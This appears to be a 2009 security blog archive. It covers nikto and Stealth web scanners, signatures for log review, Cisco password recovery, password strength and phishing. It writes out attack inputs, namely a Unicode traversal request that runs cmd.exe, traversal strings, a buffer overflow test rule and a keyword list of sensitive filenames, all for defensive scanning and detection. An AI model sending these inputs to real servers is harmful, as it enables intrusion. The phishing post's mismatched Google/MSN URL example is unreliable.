Note : The client mode setting will only cause problems if you are confused about what “yes” and “no” imply. A “client=yes” line means that the remote service is an SSL listener and stunnel accepts plaintext traffic. If you set “client=no” (the default value), stunnel accepts SSL traffic and forwards it to a plaintext service

If the path names correspond to the correct location of the certificate files, you’re ready to go. Otherwise, change the paths and define the services you wish to use.

The TIMEOUTxxx directives are useful for HTTP(S) operations over poor connections or with heavy loads.

Web Hacking Tools (part 2)

2009-05-28T23:11:00.000+05:30

As an administrator, you should be running vulnerability scanners against your web servers as part of routine maintenance. After all, it would be best to find your own vulnerabilities before someone else does. On the other hand, how can you tell if someone is running these tools against you? An intrusion detection system (IDS) can help, but an IDS has several drawbacks: it typically cannot handle high bandwidth, it relies on pattern-matching intelligence, it cannot (for the most part) watch encrypted SSL streams, and it is expensive (even the open-source snort requires a team to maintain and monitor events). The answer, in this case, is to turn to your logfiles. You enabled robust logging for your web server, right?

Common Signatures Logfiles are a security device. They are reactionary, meaning that if you see an attack signature in your file, you know you've already been attacked. If the attack compromised the server, web logs will be the first place to go for re-creating the event. Logs also help administrators and programmers track down bugs or bad pages on a web site—necessary to maintain a stable web server. With this in mind, you should have a policy for turning on the web server's logging, collecting the logfiles, reviewing the logfiles, and archiving the logfiles.

The following table lists several items to look for when performing a log review. Many of these checks can be automated with simple tools such as grep.

Excessive 404 response codes	A 404 in your logfile usually means one of three things: a typo or error is in a page on the site, a user mistyped a URI, or a malicious user is looking for “goodies.” If you see several requests from an IP address that resulted in a string of 404 errors, check the rest of your logs for that IP address. You may find a successful request (200 response) somewhere else that indicates malicious activity.
Unused file extensions	This is a subset of the excessive 404s, but it's a good indicator of an automated tool. If your site uses only .jsp files, requests for files with .asp would be out of place.
Excessive 500 response codes	Any server error should be checked. This might mean the application has errors, or a malicious user is trying to submit invalid data to the server.
Sensitive filenames	Search the logs for requests that contain passwd, cmd.exe, boot.ini, ipconfig, or other system filenames and commands. IDSs often key off of these values.
Examine parameters	Web server attacks also hide within requests that return a 200 response. Make sure that your web server logs the parameters passed to the URI.
Directory traversal	Search for attacks that try to break directories, such as ..., .., or %2e%2e.
Long strings	Search for long strings (more than 100 characters) submitted as a parameter. For example, a username with the letter A repeated 200 times probably indicates someone's attempt to break the application.
Unix shell characters	Check for characters that have special meaning in shells or SQL. Common characters are ' ! \| < > & * ;
Strange User-Agent headers	Check for strings that do not correspond to the most common version of Internet Explorer, Mozilla, Opera, or Safari. For example, nikto produces this User-Agent header: Mozilla/4.75 (Nikto/1.30 ) Yes, it is trivial to change this string, but laziness and simple mistakes often identify malicious users. Of course, make sure that your web server records this header!

Bear in mind that IIS records the URL in its final, parsed format. For example, the Unicode directory traversal attack appears as /scripts/..Á..Á..Ácmd.exe?/c+dir, whereas an Apache logfile captures the raw request, /scripts/..%c0%af..%c0%af..%c0%afcmd.exe?/c+dir?. For IIS logging, make sure to turn on the options for recording the uri-stem and uri-query.

Stealth

Stealth is a vulnerability scanning tool created by Felipe Moniz. It uses the Windows GUI and therefore doesn’t have the cross-platform capability of nikto. Stealth’s strength lies in its number of checks and, like nikto, ease of updating its database. More than 13,000 checks currently populate the Stealth database, although only about 5000 of them are unique. These checks range from URLs that break obscure devices with embedded web servers to the most current IIS vulnerabilities.

Implementation

By Default, Stealth uses the “normal” Scan Rule, which contains roughly 6500 checks. This screen is accessed by clicking the Scanner button in the Stealth application window

Stealth can also scan a range of web servers. However, range must be a list of sequential IP addresses. It is not possible to load a custom list of target IP addresses. This slows down scans that target a network, because Stealth must first identify a web server before scanning it. When servers are distributed across networks, this is even slower.

One more note about scanning a range: Any time Stealth encounters an error, it pops up a message box that requires manual intervention to close. In short, Stealth is not the best tool for scanning multiple servers at once.

The IDS Test button works much like nikto’s IDS evasion techniques. Stealth offers 13 different evasion techniques. Select which techniques you want to use, and then choose CGI Setup | Use IDS Evasion.

When Stealth finishes a scan, it prompts the user to save the report. A Stealth report is an HTML file that lists any potential vulnerability it discovered. This is a quick, straightforward tool that assumes you want to run 6500 checks against a web server every time.

Creating New Rules

Rule construction for Stealth is simple. You specify the URL, the request method, and the expected HTTP return code. For example, to look for a backup index.html file, you would create a file with these contents:

#INF Backup index.html file
#GET /index.html.bak #200

The #GET method could also be #HEAD or #POST. The #200 return code can be any HTTP response. Stealth does not use custom arrays, so files within a set of directories must be listed individually. Both #GET and #200 are assumed by default and can be omitted. Thus, the basic URL checking of Stealth is not as robust as whisker. Stealth does try to simplify the vulnerability development process with its Stealth Exploit Development Tool.

The Exploit Development Tool is a GUI utility that prompts you for each of the possible fields that can be created for a vulnerability check.

The Options tab is where you specify a string that would indicate the check returned a false positive or specify a User-Agent. Some web applications rely on the User-Agent header for determining whether a browser can access the site. Some browsers do not support JavaScript, ActiveX, or Java that would cause the application to disallow access.

Another cool Stealth technique is the buffer overflow test. A buffer overflow attack can be crafted against any URL in a web application that has a parameter list. The Stealth rule for a buffer overflow has four components:

bofgen The URL, encased in double-quotation marks.
bofstr A placeholder for the buffer overflow string. The bofstr value is replaced by the actual attack.
bytes The number of times to repeat the buffer overflow character.
chars The buffer overflow character.

For example, here’s the rule to check for a buffer overflow condition in a web application’s login page:

#INF Login.asp buffer overflow check.

Pitfalls to Avoid

As mentioned, Stealth’s ability to scan a range of web servers automatically is severely limited. Stealth occasionally generates DNS errors, which usually happens when scanning a server with virtual hosts or when it scans a server with multiple IP addresses (as is the case for many large, load-balanced sites). A DNS error is innocuous, but it requires that you close the pop-up message box Stealth generates.

The majority of Stealth’s checks rely on the HTTP return code from the server. This is useful when you’re checking for the existence of a vulnerable script, but it does not necessarily indicate that a script is vulnerable. For example, many of the viewcode.asp vulnerabilities in IIS sample files have been fixed in recent updates, but Stealth merely checks for their presence and often produces false positives. Even though Stealth can parse the output of a check for a specific string, few of the checks seem to do so. Relying on the HTTP return code doesn’t mean that Stealth will miss vulnerabilities, but it does mean that it will produce a large number of false positives.

A GUI-based tool does not play well with others. It is difficult to create a script that generates a list of web servers or systems with port 80 open, input that list to Stealth, and then perform some file parsing on Stealth’s output. A command-line tool, on the other hand, doesn’t mind being wrapped in FOR loops and having data piped into it from other programs or sending its output to your favorite parsing tool. Remember the ease with which we manipulated the output from whisker with the tee and grep commands?

Finally, Stealth cannot handle SSL connections. This is a simple drawback to overcome.


bofgen=/login.asp?user=%bofstr&passwd=none","bytes=999","chars=A"

In the HTTP request that Stealth sends, the %bofstr string is replaced by 999 As.

Once any exploit is created, you must still instruct Stealth to use it. If you place the file in the Db subdirectory of the Stealth installation directory, Stealth will find the exploit and load it. To check this manually, or to create a new exploit, click the Database button in the Stealth application window and select the Stealth User’s Exploits tab.

Web Hacking Tools

2009-05-28T22:49:00.000+05:30

Web Hacking Tools

Overview

Web server security can be divided into two broad categories: testing the server for common vulnerabilities and testing the web application. A web server should be configured according to this checklist before it is deployed on the Internet:

Secure network configuration A firewall or other device limits incoming traffic to necessary ports (probably just 80 and 443).
Secure host configuration The operating system has up-to-date security patches, auditing has been enabled, and only administrators may access the system.
Secure web server configuration The web server’s default settings have been reviewed, sample files have been removed, and the server runs in a restricted user account.

Of course, such a short list doesn’t cover the specifics of an Apache/PHP combination or the details of every recommended Internet Information Server (IIS) installation setting, but it should serve as the basis for a strong web server build policy. A vulnerability scanner should also be used to verify the build policy.

The security of the web application should be of concern as well. This chapter focuses on tools used to check a web server for common vulnerabilities, but the handful of tools mentioned here address the concept of testing the actual web application for security problems rather than just the server upon which the application is installed.

Vulnerability Scanners

Web servers such as Apache, iPlanet, and IIS have gone through many revisions and security updates. A web vulnerability scanner basically consists of a scanning engine and a catalog. The catalog contains a list of common files, files with known vulnerabilities, and common exploits for a range of servers. For example, a vulnerability scanner looks for backup files (such as renaming default.asp to default.asp.bak) or tries directory traversal exploits (such as checking for ..%255c..%255c). The scanning engine handles the logic for reading the catalog of exploits, sending the requests to the web server, and interpreting the requests to determine whether the server is vulnerable. These tools target vulnerabilities that are easily fixed by secure host configurations, updated security patches, and a clean web document root.

Nikto

Whisker, created by RFP, was created to add to a Perl-based scanning library rather than as a solo tool that would be further developed. Nikto, by Sullo, is based on the next generation LibWhisker library. From the start, it offers support for the Secure Sockets Layer (SSL), proxies, and port scanning.

Implementation

As a Perl-based scanner, nikto runs on Unix, Windows, and Mac OS X. It uses standard Perl libraries that accompany default Perl installations. You can download nikto from http://www.cirt.net. Nikto also requires LibWhisker (LW.pm), which is simple to install.

LibWhisker A fully functional copy of LibWhisker comes with the nikto tar file. Otherwise, you can always download the latest version from http://www.wiretrip.net/rfp/2/index.asp. Installation is simple, but it does vary ever so slightly from most CPAN modules. After untarring the download, enter the directory and make the library. Once that is done, install LW.pm into your Perl directory. You can do this in three commands:

$ cd libwhisker-current
$ perl Makefile.pl lib
$ perl Makefile.pl install

LibWhisker might seem redundant because it apes the functionality of several Perl modules that already exist, such as LWP, Base64, and HTML::Parser. The advantage of LibWhisker is that it is lean (a smaller file size than all the other modules it replaces), simple (a single module), focused (handles only HTTP and HTTPS requests), and robust (provides a single interface for handling request and response objects). It is also more legible than the original whisker! LibWhisker has also joined the legions of open source code on the sourceforge.net servers, so it shouldn’t be too hard to find.

Scanning To get started with nikto you need only to specify a target host with the -h option. As the engine discovers potential vulnerabilities, notes accompany the output to explain why a finding may be a security risk:

---------------------------------------------------------------------------
- Nikto 1.30/1.15     -     www.cirt.net
+ Target IP:       10.0.1.14
+ Target Hostname:
+ Target Port:     80
+ Start Time:      Thu Sep 25 17:07:36 2003
---------------------------------------------------------------------------
- Scan is dependent on "Server" string which can be faked, use
-g to override + Server: Apache-AdvancedExtranetServer/2.0.44
(Mandrake Linux/11mdk)mod_perl/1.99_08 Perl/v5.8.0 mod_ssl/2.0.44
OpenSSL/0.9.7a PHP/4.3.1 + All CGI directories 'found' - assuming
invalid responses and using none (use -a to force check all possible
dirs)+ Allowed HTTP Methods: GET,HEAD,POST,OPTIONS,TRACE+ HTTP method
'TRACE' is typically only used for debugging. It should be disabled.
+ mod_ssl/2.0.44 appears to be outdated (current is at least mod_ssl/2.8.15)
(may depend on server version)
+ OpenSSL/0.9.7a appears to be outdated (current is at least 1.15)
+ PHP/4.3.1 appears to be outdated (current is at least PHP/4.3.3)
+ mod_ssl/2.0.44 OpenSSL/0.9.7a PHP/4.3.1 - mod_ssl 2.8.7 and lower are
vulnerable to a remote buffer overflow which may allow a remote shell
(difficult to exploit). CAN-2002-0082.
+ PHP/4.3.1 - PHP below 4.3.3 may allow local attackers to safe mode and
gain access to unauthorized files. BID-8203.
+ /~root - Enumeration of users is possible by requesting ~username
(responds with Forbidden for real users, not found for non-existent users)
(GET).+ / - TRACE option appears to allow XSS or credential theft. See
http://www.cgisecurity.com/whitehat-mirror/WhitePaper_screen.pdf for details
(TRACE)
+ 1161 items checked - 2 items found on remote host
+ End Time:        Thu Sep 25 17:10:03 2003 (147 seconds)
---------------------------------------------------------------------------

lists the basic options necessary to run nikto. The most important options are setting the target host, the target port, and the output file. Nikto accepts the first character of an option as a synonym. For example, you can specify –s or –ssl to use the HTTPS protocol, or you can specify –w or –web to format output in HTML.

Table 7-1: Basic Nikto Command-Line Options
Nikto Option	Description
-host	Specify a single host. Nikto does not accept files with hostnames, as in the –H option for whisker.
-port	Specify an arbitrary port. Take care; specifying port 443 does not imply HTTPS. You must remember to include –ssl.
-verbose	Provide verbose output. This cannot be abbreviated (-v is reserved for the virtual hosts option).
-ssl	Enable SSL support. Nikto does not assume HTTPS if you specify target port 443.
-generic	Instruct nikto to ignore the server's banner and run a scan using the entire database.
-Format	Format output in HTML, CSV, or text. Must be combined with -output. -F htm -F csv -F txt
-output	Log output to a file. For example, -output nikto80_website.html –F htm
-id	Provide HTTP Basic Authentication credentials. For example, -id username:password
-vhost	Use a virtual host for the target web server rather than the IP address. This affects the content of the HTTP Host: header. It is important to use this option in shared server environments.
-evasion	IDS evasion techniques. Nikto can use nine different techniques to format the URL request in an attempt to bypass unsophisticated string-matching intrusion detection systems

You should remember a few basics about running nikto: specify
the host (-h),port (-p), and SSL (-s), and write the output to
a file.

Additional Nikto Command-Line Options
Option	Description
-allcgi	Scan all possible CGI directories. This disregards 404 errors that nikto receives for the base directory. See the “Config.txt” section for instructions on how to configure which directories it will search.
-cookies	Print the cookies returned by the server. This either produces too much unnecessary information or very useful information depending on how the server treats unauthenticated users.
-mutate	Mutated checks are described in the “Config.txt” section.
-root	Prepend the directory supplied with –root to all requests. This helps when you wish to test sites with "off by one" directory structures. For example, many language localization techniques will prepend a two-character language identifier to the entire site. /en/scripts/… /en/scripts/include/… /en/menu/foo/… /de/scripts/… When this is the case, nikto may incorrectly report that it could not find common scripts. Thus, use the –root option: ./nikto.pl –h website –p 80 –r /en
-findonly	Scan the target server. The scan can use nmap or internal Perl-based socket connections.
-nolookup	Do not resolve IP addresses to hostnames.
-timeout N	Stop scanning if no data is received after a period of N seconds. The default is 10.
-useproxy	Use the proxy defined in the config.txt file. Previous versions of nikto required you to turn this option on or off in the config.txt file. This is more convenient.
-debug	Enable verbose debug messages. This option cannot be abbreviated. It basically enumerates the LibWhisker request hash for each URL nikto retrieves. This information quickly becomes overwhelming; here's just a small portion of the information printed: D: - Request Hash: D: - Connection: Keep-Alive D: - Content-Length: 0 D: - Host: 10.0.1.14 D: - User-Agent: Mozilla/4.75 (Nikto/1.30 ) D: - $whisker->INITIAL_MAGIC: 31337 D: - $whisker->anti_ids: D: - $whisker->data: D: - $whisker->force_bodysnatch: 0 D: - $whisker->force_close: 0 D: - $whisker->force_open: 0 D: - $whisker->host: 10.0.1.14 D: - $whisker->http_req_trailer: D: - $whisker->http_ver: 1.1
-dbcheck	Perform a syntax check of the main scan_database.db and user_scan_database.db files. These files contain the specific tests that nikto performs against the server. You should need this only if you decide to customize one of these files (and if you do, consider dropping the nikto team an e-mail with your additions). This option cannot be abbreviated.
-update	Update nikto's plug-ins and find out whether a new version exists. This option cannot be abbreviated.

The –update option makes it easy to maintain nikto. It causes the program to connect to http://www.cirt.net and download the latest plug-ins to keep the scan list current:

$ ./nikto.pl –update
+ No updates required.
+ www.cirt.net message: Please report any bugs found in the 1.30 version

Config.txt Nikto uses the config.txt file to set certain options that are either used less often or are most likely to be used for every scan. This file includes a dozen settings. An option can be unset by commenting the line with a hash (#) symbol. Here are the default settings:

CGIDIRS=/bin/ /cgi/ /mpcgi/ /cgi-bin/ /cgi-sys/ /cgi-local/ /htbin/
/cgibin/ /cgis/ /scripts/ /cgi-win/ /fcgi-bin/
#CLIOPTS=-g –a
#NMAP=/usr/bin/nmap
KIPPORTS=21 111
#PROXYHOST=10.1.1.1
#PROXYPORT=8080
#PROXYUSER=proxyuserid
#PROXYPASS=proxypassword
DEFAULTHTTPVER=1.1
#PLUGINDIR=/usr/local/nikto/plugins
MUTATEDIRS=/....../ /members/ /porn/ /restricted/ /xxx/
MUTATEFILES=xxx.htm xxx.html porn.htm porn.html
GOOGLERS=password passwd login

The CGIDIRS setting contains a space-delimited list of directories. Nikto tries to determine whether each directory exists before trying to find files within it, although the –allcgi option overrides this behavior.

The CLIOPTS setting contains command-line options to include every time nikto runs, which is useful for shortening the command line by placing the –generic, –verbose, and –web options here.

NMAP and SKIPPORTS control nikto’s port-scanning behavior (-findports). If the nmap binary is not provided (which is usually the case for Windows systems), nikto uses Perl functions to port scan. The SKIPPORTS setting contains a space-delimited list of port numbers never to scan.

Use the PROXY* settings to enable proxy support for nikto.

Although there is rarely a need to change the DEFAULTHTTPVER setting, you may find servers that support only version 1.0.

The PLUGINDIR setting points to the directory for default and user-defined plug-ins (equivalent to whisker scan.db files). By default, nikto looks for the /plugins subdirectory in the location from which it is executed.

The MUTATE* settings greatly increase the time it takes to scan a server with the –mutate option. MUTATEDIRS instructs nikto to run every check from the base directory or directories listed here. This is useful for web sites that use internationalization, whereby the /scripts directory becomes the /1033/scripts directory. The MUTATEFILES settings instructs nikto to run a check for each file against every directory in its current plug-in. Note that there are two mutate techniques, -mutate-3 and –mutate4, that ignore these values. Technique 3 performs user enumeration against Apache servers by requesting /~user directories, which takes advantage of incorrectly configured public_html (UserDir module) settings in the httpd.conf file. Technique 4 is similar, but it uses the /cgi-bin/cgiwrap/~ method.

The GOOGLERS setting provides some fun Google searches for finding sensitive information. This technique is better accomplished with a browser and slightly more sophisticated searches. It serves more a role of curiosity in nikto as opposed to important functionality.

Cisco password recovery procedures

2009-05-28T21:27:00.000+05:30

Introduction

This page is an index of password recovery procedures for Cisco products. For security reasons, the password recovery procedures listed here require physical access to the equipment.

Note: Cisco has announced the end of sale for the Cisco LocalDirector. Refer to the LocalDirector 400 Series. End−of−Life and End−of−Sale Notices and Product Bulletins for more information.

Prerequisites

Requirements

There are no specific requirements for this document.

Components Used

This document is not restricted to specific software and hardware versions

Conventions

Refer to Cisco Technical Tips Conventions for more information on document conventions.

Password Tricks

2009-05-22T07:44:00.000+05:30

Create Strong Passwords

Examples of Threats:

When a password is stolen, a thief or hacker can easily access your private information and use your account.
Using the "remember password" function on your computer makes you vulnerable, especially if your laptop is stolen.

Our Tips:

Create strong passwords that use random combinations of uppercase and lowercase letters, numbers, and characters.
Use different passwords for each account.
Change your passwords every six months or so.
Do not use the remember password function on your Internet browser or other software programs.

Just about every account you access with your computer requires a password. In fact, you probably have to enter a password just to access your computer. Through the course of a day using your computer, you will likely access several programs or websites requiring a password. If you pay bills online, you will likely have dozens of accounts, each requiring a password. Here are some of the most common applications with password protection:

Logging in to your computer (Windows login)
Websites requiring a login account
E-mail accounts
Instant messaging services
Shared network files and directories
Broadband Internet account
Administrator access to your home network router
Wireless network encryption key (for example, WEP or WPA)

Because of the volume of passwords needed, most people create passwords that are easy for them to remember. The problem is that your password is the last line of defense protecting your personal and financial information. Chances are that your passwords are weak, meaning they are easy to crackand we mean really easy. In this chapter, we explain the difference between weak and strong passwords, and we show you how to create strong passwords that are both hard for others to crack and yet easy for you to remember.

Anatomy of a Lousy Password

Before we get started on how to create a hard-to-crack password, let's look at the type of weak passwords that are overused and easy to break. How easy you ask? Well, there is a free and easy-to-obtain program called Crack that can be used to systematically attempt to guess your password, trying out millions of passwords in a matter of hours through the use of an internal dictionary. This dictionary checks against every known word, in just about every language, with all standard manipulations, including character replacements, common misspellings, and letter reorderings. It also checks against names in every language (including the Chinese phone book). If that were not bad enough, it also checks against common character patterns, fictional characters and places, and every real place in the galaxy that has a name. In addition it also checks every date in every format. In other words, if it is a person, a time, an event, a place, a thing, or even a thing's place, or a person's thing, it is a bad idea to use it as a password.

Hackers use programs such as this to conduct what are known as brute-force password attacks, meaning they use a program to keep trying password after password until they get a hit. Weak passwords make it much easier for such attacks.

password	This is not clever. Do not use any known words, especially this one.
wordpass	Also not clever and easily cracked because it is made up of common words.
drowssap	Crack (and other programs like it) checks for words written in reverse.
Pa$$word	Crack (and other programs like it) checks for character replacements.
passwurd	Crack (and other programs like it) checks for misspellings, phonetic or otherwise.
Password49	Adding numbers to the end of a word does not make a password harder to crack.
123password	Prefixing words with numbers does not make a password harder to crack.
wachtwoord	Using Dutch (or any other known language, including Klingon and Hobbit) does not help. Crack checks them all.
12345	This is just something an idiot would use on their luggage.
lkjhgf	This is a consecutive string of keyboard characters that is easy to crack.
14159265	Any nonsequential, but algorithmic pattern is easily cracked. (This is the first eight digits of pi to the right of the decimal point.)
abbcccdddd	Any repeating pattern is easily cracked.
mrsmee	Crack (and other programs like it) checks for literary characters.
lordnelson	Crack (and other programs like it) checks for real people and historical figures.
1600pennave	Do not use real addresses. Crack (and other programs like it) checks for them.
22 BakerSt	Crack (and other programs like it) checks for fake addresses, too.
Raleigh	Do not use real places. Crack (and other programs like it) checks for them.
munchkinland	Crack (and other programs like it) checks for made up places, too.
	No password. Although this may be convenient for Windows login, it is ill advised.

These are just a few examples of weak and easily cracked passwords. In general, if you use something familiar to you, Crack and other programs like it will figure it out. Also, you should never use personal information such as dates, login names, Social Security numbers, or any other number associated with you for your password.

Now that we have probably convinced you to change all your passwords, let's look at what it takes for a password to be considered strong.

Elements of a Strong Password

In a few words, a strong password is a random bunch of letters, numbers, and characters, usually eight or more digits long. The eight-character thing is really about the math and not a hard-and-fast rule. In fact, the more digits, the better, but only if the password is truly random. Let's look briefly at why random passwords are so hard for Crack to break.

Assume for a moment that you have a completely random password, one that cannot be found in even the most complete cracking dictionary on Earth. In this case, the only way to crack the password is the brute-force method of checking against all possible character combinations. The best defense against this method is to stack the odds in your favor so that it comes close to mathematically impossible to guess the password.

Here is how that is done. To start with, we have a lot of characters to work with:

There are 26 letters in the English alphabet (az).
All can be capitalized (AZ) or lowercase (az).
There are 10 numeric digits (09).
There are roughly 30 other special characters on a standard keyboard (!, <, @, >, ?, and so on). Not all are accepted by password-checking tools, so let's say about 15 of the 30 are.

If you create a truly random pattern of letters, numbers, and characters, there are about 77 possibilities for each digit in the password. If you use 8 characters, you raise that number to the power of 8, which gives you 1,235,736,291,547,681 combinations. It would take an awful lot of computing power (and several years) to try all the combinations that would eventually result in the right answer. To make it even harder on any would-be crackers, in addition to using a strong password you should change passwords periodically (we discuss how often a little later).

How to Create a Strong Password That You Can Remember

So here you are, knowing that you need a strong password, but how are you supposed to remember *Dsq#}3frP and 17 other uniquely random passwords for all your various accounts?

The answer is that you can use some personal information that will be easy for you to remember but difficult for others to guess. Here is how:

Start with a sentence about you or your family. For example : -

My sister Joanne is four years older than my brother Matt

Take the first letter of each word. If you have a number in your sentence use the number. The base password is now:

msji4yotmbm

Make case substitutions. With this sentence, we could use the grammatical capitalization for the password, giving us:

MsJi4yotmbM

Make character substitutions. Finally, look for opportunities to use other characters that will still be easy to remember, such as $ for s. Our final password looks like this:

"M$J!4y0tmbM"

Additional Password Tips

Here are some additional tips and considerations for passwords:

Do not reuse passwords. If at all possible, try to use a unique password for each of your accounts. If you only have one or two password-protected accounts, this should not be too hard. If you have several, however, it might be difficult to remember them all, even with the technique covered earlier. Consider writing them down in a safe place (but see the next tip).
Do not write your passwords down unless you can keep them safe. Most password advice says that you should never write down a password. We think this is a good guideline, but quite frankly most of us have 20 or more accounts. It is better to have a unique password for each account and to write them down somewhere, rather than creating a single password that you use on all your accounts. Here's the trick though: If you write down your passwords, keep them secured in a locked cabinet or safe. In your desk drawer or taped under your keyboard are all bad places for a written list of passwords. In a wallet, purse, or backpack is even worse. There are also programs such as Password Corral that allow you to store all of your passwords in a password-protected file on your PC. This way you only need to commit one password to memory. You can also write down the sentence if you used the method in the example earlier (My sister Joanne …); just remember your conversion rules and you can easily re-obtain your password.
Avoid using your passwords on public computers. Even if the remember-password function is turned off, there could be a keystroke logger or other hacking tool that someone has installed. Anything you type could be collected and used against you.
Never enable the remember-password option in Windows or Internet browsers. Even if you are using a computer that no one else uses, do not use this option. (This should be doubly obvious if you are using a shared computer.) Having this option turned on may be convenient, but if you ever lose your laptop (or if it is stolen), someone can easily check all the sites recently visited with your browser and get easy access to all your private information.
Never share your password with anyone. If you do, change it right away.
Never send your password in an e-mail. This is especially the case if you receive an e-mail asking for your account information even if the e-mail looks legitimate
Change your password periodically. Some experts advocate changing your passwords every three months. For most accounts, this is a bit much, especially if you create strong passwords such as the one shown earlier. A more realistic period is every six months or so. Never go more than a year with any password, and just so you know, rotating passwords among different accounts does not count as changing a password. Use the technique presented earlier and start from scratch. If you think you have been hacked, change all your passwords immediately.

Summary

Most people do not take their passwords seriously enough, opting for something convenient rather than actually protecting their personal information. Do not make this mistake. A good password is your first and sometimes only defense against hackers and identity thieves. You should not use your spouse's name (or any other weak password) no more than you should attempt to lock a safe full of your valuables using a bread tie. Neither of these will stop someone from getting in and taking your stuff

Phishing Scams

2009-05-22T07:21:00.000+05:30

Recognize and Avoid Phishing Scams

Threat Type: Victim enabled

Examples of Threats:

E-mails asking for account information that will then be used by identity thieves.
E-mails "selling" security services.

Our Tips:

Never click any of the links within the e-mail.
Never send account information via e-mail.
Never reply to any e-mail asking for personal or account information, even if a phone number is provided.

Phishing is a relatively new social engineering scam that has become one of the most popular tactics used by identity thieves. Phishing scams play on people's fear or sense of doing what is right by tricking victims into willingly supplying scammers with personal information, account numbers, passwords, and mothers' maiden names. Some thieves take it a step further with confidence scams that offer "identity security" to their former victims and then hit them again.

Very Important

For those unfamiliar with the concept of social engineering, Wikipedia.com defines it as the practice of obtaining confidential information by manipulation of legitimate users. A social engineer will commonly use the telephone or Internet to trick people into revealing sensitive information or get them to do something that is against typical policies. By this method, social engineers exploit the natural tendency of a person to trust his or her word, rather than exploiting computer security holes. It is generally agreed upon that users are the weak link in security, and this principle is what makes social engineering possible.

To give you an idea how widespread this problem has become, the following statistics were taken from http://www.mailfrontier.com (with the original source reference included). In 2005

5.7 billion phishing e-mails were sent each month (Anti-Phishing Work Group).
$1200 was the average loss to each person successfully phished (Federal Trade Commission).
13,228 unique phishing attacks (on average) were launched per month (Anti-Phishing Work Group).
3431 phishing websites were created (on average) each month (Anti-Phishing Work Group).

In others words, this is a pretty big problem. If you fall for one of these scams, you could be looking at real financial losses, and potentially years to repair your credit rating. The key realization is that there would not be all this phishing activity going on if people were not falling for it.

Very Important

The term phishing is kind of a funny spelling of the word fishing, referring to fishing you for your identity. The ph instead of f in the spelling gets its origins from the term phreaking, which is a form of hacking into phone lines to get free long distance. There is still some debate on exactly how and when the use of the term got started, but most people assume it is a combination of the words phone and freak. This spelling convention has carried over to computer hackers for hacks such as pharming and phishing.

How Phishing Scams Work

The typical phishing scam begins with an e-mail that looks entirely legitimate. The e-mail can appear to be from a bank, online auction company (such as eBay), money-transfer service (such as PayPal), or even a charity. Often, the e-mail states that your account is about to expire (or will be suspended) unless the person's account information is verified. A link to a website is usually provided. When you click the link, you are directed to a web page that prompts you to enter your account information or passwords or credit cards numbers or some other sensitive (and potentially damaging) information, or all of the above.

The problem is, even though the website you were taken to looks legitimate, the website is a fake whose only purpose is to capture that valuable account and password information, or worse, your credit card information.

Phishing scams can also be sent via instant messaging or even as invites to online contact libraries.

From the perspective of the thieves, this is a good business because they literally send millions and millions of e-mails out using automated programs. Even just a few responses make the effort worthwhile. When they have a mark, they empty the victim's accounts and move on to the next one. These folks are usually set up in countries with no extradition laws, and they move around a lot. So, even if the authorities find them, it is difficult to bring them to justice.

One reason phishing schemes have become both more prevalent and more successful is the wide availability of powerful publishing and graphics programs that scammers use to create legitimate-looking e-mails, complete with corporate logos and letterheads and graphics. In addition, the scammers create web pages that are nearly indistinguishable from the real corporate sites they are mimicking. Some go so far as to copy the exact navigation structure of the real website so that when you click the link you are taken to a page that looks just like the one that you would find if you typed in the real URL. When you type in your login ID and password, they (the identity thieves) can immediately go to the real site, log in, and gain access to all of your information (and have the ability to do anything you could do on the site in question).

This is all a bit daunting, and although we pledge not to go over the top with scare tactics in this book, this is one scam you should always be on the alert for. Some of these e-mails look amazingly legitimate. If you do not want to take our word for it, go to the following URL, which provides a phishing IQ test:

http://survey.mailfrontier.com/survey/quiztest.html

Good luck guessing which ones are real and which ones are phishing attempts. (Just in case the site gets moved, you can also go to Google or some other search engine and search for "phishing IQ test.")

Be sure to look at the "why" portion of the results; it explains how you can tell whether the e-mails are real.

This does seem pretty scary, but there is some good news; there are usually some specific giveaways within these scam e-mails, and even without the clues there are things you can do to avoid being taken advantage of.

One hard and fast rule is that you should never, under any circumstances, click a link from an e-mail that you even remotely suspect as not being legitimate. In fact, even if you do not suspect the e-mail of being a fake, you should still not click the links in the e-mail. The reason for this is that it is a simple matter to redirect a link on a page or in the text of an e-mail to any other site. For example, if I enter http://www.citibank.com, you would think that clicking the link will take me to Citibank's corporate website.

If you do need to go to the link in the e-mail for whatever reason, the best thing to do is to manually type in the URL (address) into the address window in your Internet browser. You can also Google the name of the company you are trying to reach and click the link in the results page. Doing this takes an extra step or two, but at least this way you will be sure you are going to the address you entered and not a redirect.

One more thing: In some cases, a legitimate-looking URL is fake, and even if you copy the text into your browser you could still end up in a bad place. For example, consider the following URL:www.google.com@halcyon.com/account_control.

In this case, you might think that you are going to an MSN site; however, if you go to that site and enter your personal information, you are about to get taken.

The lesson here is pay attention and be vigilant. The ".com" is a simple naming convention and not a hard-and-firm rule that governs where a web page actually lives. These extensions include .org, .gov, and .edu, to name a few. You can take any known site, add some other words or letters to the end of it, and register it as a domain name, as long as nobody has already registered the name. You should also be careful about common misspellings and typing errors when manually entering the address. These mis-types will almost always be registered names. In most cases, it will end up being a porn site, but it would not surprise us to see phishing sites set up before long.

How to Avoid Becoming a Victim

The first thing a person can do to help himself/herself is be suspicious of any e-mail stating that an account, or any other information, is needed, even (or especially) when it looks legitimate. The bottom line is that if a company you do business with needs to contact you, someone, somewhere will pick up the phone and call you. (If you are suspicious about the call, call them back using the phone number listed on your bill.) This may not be the case 100 percent of the time, but always be suspicious of these types of e-mails. Healthy paranoia is a good thing. As we have stated in our previous books, if you think your credit card company has really lost or forgotten your account number, go shopping. That is exactly what the identity thieves who sent you the e-mail will do if you "verify" the number via the e-mail. At least this way you can get some new stuff.

Very Important

Some of the scams include a working pay or toll-free number. If you want to call to verify whether an issue exists, do not call the number posted in the e-mail. Use the one in the phone book or on your bill.

Do you actually do business or have an account with the company or institution in question? This one would seem like a no-brainer, but there are many known cases of people getting burned by e-mails that should have been deleted as soon as the name or logo appeared on the screen because they should know it does not concern them, legitimate or otherwise. As far as we can reason, people must just feel a sense of obligation to right a perceived error or respond to something that seems authoritative. Don't do it! The scams rely on people doing what they think is the right thing to do. This is how most social engineering scams work

Is the e-mail addressed to a generic title? If the e-mail begins with a greeting such as "Dear account holder" or "Dear business name member" or any other greeting that does not use your full name or login ID, it is probably a phishing attempt. Even if it does use your full name or login ID, it might be a scam; if not, however, it should be dismissed outright. In the examples shown (most of the figures in this chapter have generic titles), if the bank knows that all this activity took place on your account, shouldn't they know your name?

